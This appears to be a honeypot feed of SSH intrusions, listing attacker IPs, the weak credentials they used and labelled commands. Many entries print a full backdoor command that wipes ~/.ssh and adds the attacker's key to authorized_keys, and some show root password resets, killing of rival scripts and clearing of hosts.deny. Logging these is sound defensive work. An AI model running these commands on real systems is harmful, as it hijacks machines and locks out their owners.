$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 aloof_burger_db (172.172.196.177) — Boydton, United States · 1 session · 2 cmds

2026-06-30 02:11 EDT · as oracle/Pass1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 clandestine_yankee_root (107.175.69.109) — Buffalo, United States · 1 session · 2 cmds

2026-06-30 02:05 EDT · as oracle/11111111

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 baroque_lotus_db (168.144.123.64) — Bengaluru, India · 1 session · 2 cmds

2026-06-30 02:03 EDT · as oracle/Pass1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 haywire_tulip_root (160.119.71.11) — Amsterdam, The Netherlands · 110 sessions · 110 cmds

2026-06-27 10:56 EDT · as admin/password, deploy/deploy, deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×110

🎭 brazen_kebab_root (94.154.43.66) — Bursa, Turkey · 21 sessions · 21 cmds

2026-06-29 21:36 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 21x across 21 sessions — automated OS fingerprinting.

$ uname -a ; echo 'vT' ×21

🎭 obsidian_chateau_root (51.75.141.245) — Roubaix, France · 1 session · 20 cmds

2026-06-29 19:59 EDT · as admin/asdf1234

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "asdf1234\nV6uWKTyVpJbv\nV6uWKTyVpJbv"|passwd|bash

$ Enter new UNIX password:

$ echo "asdf1234\nV6uWKTyVpJbv\nV6uWKTyVpJbv\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 obsidian_blitz_root (165.227.170.113) — Frankfurt am Main, Germany · 1 session · 20 cmds

2026-06-29 19:58 EDT · as admin/asdf1234

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "asdf1234\neKSpy8UN3ttE\neKSpy8UN3ttE"|passwd|bash

$ Enter new UNIX password:

$ echo "asdf1234\neKSpy8UN3ttE\neKSpy8UN3ttE\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 nocturnal_cipher_root (34.78.29.97) — Brussels, Belgium · 1 session · 20 cmds

2026-06-29 19:46 EDT · as admin/asdf1234

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "asdf1234\nu9Ty23k6Gwkn\nu9Ty23k6Gwkn"|passwd|bash

$ Enter new UNIX password:

$ echo "asdf1234\nu9Ty23k6Gwkn\nu9Ty23k6Gwkn\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 hollow_blitz_root (167.233.84.171) — Nuremberg, Germany · 1 session · 1 cmd

2026-06-29 18:09 EDT · as root/1234

privilege check

$ whoami

↳ privilege check

🎭 ironclad_k-pop_root (222.108.100.117) — Gangseo-gu, South Korea · 1 session · 2 cmds

2026-06-29 15:34 EDT · as oracle/123456a@

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 placid_eagle_root (178.128.1.119) — Santa Clara, United States · 1 session · 2 cmds

2026-06-29 15:30 EDT · as oracle/123456a@

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 cryptic_tulip_root (176.65.139.247) — Eygelshoven, The Netherlands · 83 sessions · 83 cmds

2026-06-18 11:42 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×83

🎭 nocturnal_husk_root (197.221.232.44) — Harare, Zimbabwe · 1 session · 19 cmds

2026-06-29 14:42 EDT · as root/qwerty

root/qwerty login → chattr -ia .ssh to lock shell history → rm -rf .ssh to clear SSH keys → chmod +x and execute chpasswd with hardcoded root:ZCtcc9sChJan → pkill -9 secure.sh/auth.sh to terminate existing processes → echo > /etc/hosts to clear DNS cache → cat /proc/cpuinfo | grep model/name

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:ZCtcc9sChJan"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 murky_spice_root (34.100.254.191) — Mumbai, India · 1 session · 2 cmds

2026-06-29 08:36 EDT · as oracle/123456a@

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 obsidian_windmill_root_150 (2.57.122.150) — Amsterdam, The Netherlands · 9 sessions · 81 cmds

2026-06-29 02:35 EDT · as admin/123456, admin/admin123, admin/password

export PATH manipulation → uname -s -v -n -m execution across multiple paths (bin/uname, busybox) → /proc/version file existence check → kernel version extraction via head -1 | cut.

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ×9

$ uname -s -v -n -m 2 > /dev/null ×9

$ /bin/uname -s -v -n -m 2 > /dev/null ×9

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×9

$ busybox uname -s -v -n -m 2 > /dev/null ×9

$ ( [ -f /proc/version ] ×9

$ [ -f /proc/version ] ×9

$ head -1 /proc/version | cut -d -f1 ×9

$ [ -f /etc/os-release ] ×9

🎭 haywire_silk_root (47.113.100.24) — Shenzhen, China · 20 sessions · 20 cmds

2026-06-28 20:35 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×20

🎭 murky_minar_root (124.29.193.114) — Lahore, Pakistan · 1 session · 3 cmds

2026-06-29 02:06 EDT · as root/root

ip → network mapping → OS/kernel identification

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

🎭 grumpy_burger_db (13.90.206.6) — Boydton, United States · 1 session · 2 cmds

2026-06-29 00:20 EDT · as oracle/oracle123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 velvet_muay_db (117.121.214.50) — Buriram, Thailand · 1 session · 2 cmds

2026-06-29 00:20 EDT · as oracle/oracle123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rogue_dutch_root_239 (45.148.10.239) — Amsterdam, The Netherlands · 1 session · 1 cmd

2026-06-28 19:17 EDT · as oracle/00000000

echo

$ echo OK

🎭 stoic_specter_root (91.92.40.8) — Varna, Bulgaria · 14 sessions · 121 cmds

2026-06-20 20:13 EDT · as admin/123456, admin/admin, admin/admin123

PATH normalization → uname system fingerprinting via multiple binary paths → /proc/version kernel audit → /etc/os-release detection → uptime extraction

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ×13

$ uname -s -v -n -m 2 > /dev/null ×14

$ /bin/uname -s -v -n -m 2 > /dev/null ×13

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×13

$ busybox uname -s -v -n -m 2 > /dev/null ×13

$ ( [ -f /proc/version ] ×13

$ [ -f /proc/version ] ×13

$ head -1 /proc/version | cut -d -f1 ×13

$ [ -f /etc/os-release ] ×13

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"

$ uname -m 2 > /dev/null

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1

🎭 aloof_shadow_root (91.92.40.37) — Varna, Bulgaria · 27 sessions · 27 cmds

2026-06-28 16:46 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 clandestine_pistachio_root (95.38.233.40) — Tehran, Iran · 12 sessions · 12 cmds

2026-06-28 18:02 EDT · as admin/123456, admin/admin, admin/password

echo (repeated echo 12x)

$ echo SHELL_TEST ×12

🎭 stoic_burger_root (141.11.88.9) — Crugers, United States · 27 sessions · 27 cmds

2026-06-28 13:26 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 listless_clog_root (176.65.139.219) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-28 13:20 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 murky_phantom_root (91.92.40.153) — Varna, Bulgaria · 31 sessions · 31 cmds

2026-06-28 12:45 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 midnight_lucha_root (186.96.145.241) — Mexico City, Mexico · 2 sessions · 2 cmds

2026-05-13 17:45 EDT · as root/password, root/root

Ran uname 113x across 113 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×2

🎭 manic_wok_root (124.117.228.98) — Xingfulu, China · 2 sessions · 2 cmds

2026-06-03 02:27 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m ×2

🎭 savage_star_root (141.11.88.11) — Crugers, United States · 27 sessions · 27 cmds

2026-06-28 06:46 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 vapor_kimchi_root (14.63.198.239) — Seongnam-si, South Korea · 1 session · 2 cmds

2026-06-28 06:35 EDT · as oracle/zaq1@WSX

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 scrappy_cosmo_root_32 (81.23.173.32) — Moscow, Russia · 1 session · 2 cmds

2026-06-28 05:51 EDT · as oracle/zaq1@WSX

file attribute tampering → SSH key persistence

